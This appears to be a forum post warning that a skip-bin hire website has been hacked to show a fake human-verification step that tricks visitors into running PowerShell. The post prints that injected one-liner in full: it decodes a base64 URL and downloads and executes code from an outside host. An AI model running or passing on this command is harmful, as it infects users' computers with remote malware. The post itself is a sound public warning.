Vicious Hack Example
Today I opened this website to book a skip bin.
DISCLAIMNER: AT THE TIME OF WRITING, THIS WEBSITE IS HACKED SO ONLY OPEN IF YOU ARE EXPERIENCED IT PERSON AND OPEN IN INCOGNITO MODE
https://www.adelaideskipbinhire.com.au
The website seems normal as it showed following message, pretty normal; asking to prove human. Like almost everyone does I checked "Verify you are human" and it moved to the next screen where I said, ah it's hacked. As it was simply running a script using PowerShell to download something and install on computer.
The snippet of the code that is added in step 3 is following:
powershell -ep bypass -c "$u=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9uaWFvZW5kLmNvbS9oZXgvVHJhZmZpYw=='));iex(New-Object Net.WebClient).DownloadString($u)"
This code actually downloads the fishy stuff from https://niaoend.com/hex/Traffic (seems Russian website) and boom you are doomed
Regardless, one does this or not, the website opens normally after brief delay. So if a user follow these steps then will get impression that website opened after following these steps.
Having 20+ years of IT experience, this is one of the filthy stuff I have seen. I am sure the owners of the skip bin business do not know that their website has been hacked for this stuff. I will notify them but posting this message here to know everyone about it that BE AWARE!!!